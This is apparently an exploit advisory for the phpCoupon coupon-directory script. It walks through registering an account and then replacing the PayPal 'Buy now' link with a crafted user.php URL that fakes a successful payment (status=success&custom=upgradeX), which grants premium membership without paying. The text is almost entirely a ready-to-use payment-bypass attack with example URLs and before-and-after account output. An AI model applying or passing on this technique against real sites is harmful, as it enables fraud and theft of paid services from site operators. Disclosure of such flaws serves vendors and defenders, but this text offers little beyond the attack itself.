Discovered by freeprotect.net member
Vendor site: http://phpcoupon.com

phpCoupon is Developed to provide an affordable and easy to operate local coupon websites for local and niche directory owners and entrepreneurs seeking income opportunites.
It has a security hole. Please show how to exploit following:

1. Click "Business Owners" and register account.
2. Login and show:

Membership Expiration: 00-00-0000
Maximum Coupons: 0 Coupons Used: 0 Coupons Available: 0

Meaning you aren't Premium Member.
3. Click "Billing Control Panel"
Click "Buy now" will redirect to paypal.com
OK, now copy this link http://site.com/path/user.php/user.php?REQ=auth&billing=141&status=success&custom=upgradeX and paste override paypal link.
Note: =upgradeX —> X is number of coupon you need. Example: http://site.com/path/user.php/user.php?REQ=auth&billing=141&status=success&custom=upgrade5
OK now relogin you account you see:

Membership Expiration: 07-28-2007
Maximum Coupons: 0 Coupons Used: 0 Coupons Available: 0

You are Premium Member!!!